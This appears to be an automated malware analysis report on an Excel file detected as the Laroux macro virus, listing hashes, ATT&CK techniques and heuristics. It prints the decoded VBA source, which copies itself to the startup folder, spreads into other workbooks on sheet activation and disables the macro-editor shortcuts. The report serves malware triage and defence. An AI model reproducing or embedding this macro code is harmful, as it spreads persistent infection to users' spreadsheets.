Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 110ea9b80b7d494e…

MALICIOUS

Office (OLE)

74.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 9ecc64d305d49b87fa72a3422bb30728 SHA-1: 39fc4b594dc3f63e9b86f7df68dac737a469a92e SHA-256: 110ea9b80b7d494eaec41c23b4d50589ac416b32fa388acba020c09f3b13377a
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup directory as 'StartUp.xls', which is a persistence mechanism. The macro also manipulates application settings to potentially hide its activity. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 861 bytes
SHA-256: 81d8ff4f88b01af5c8a9ce0f6cadc32835127877a62d6f04cc073bef7ea02563
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub

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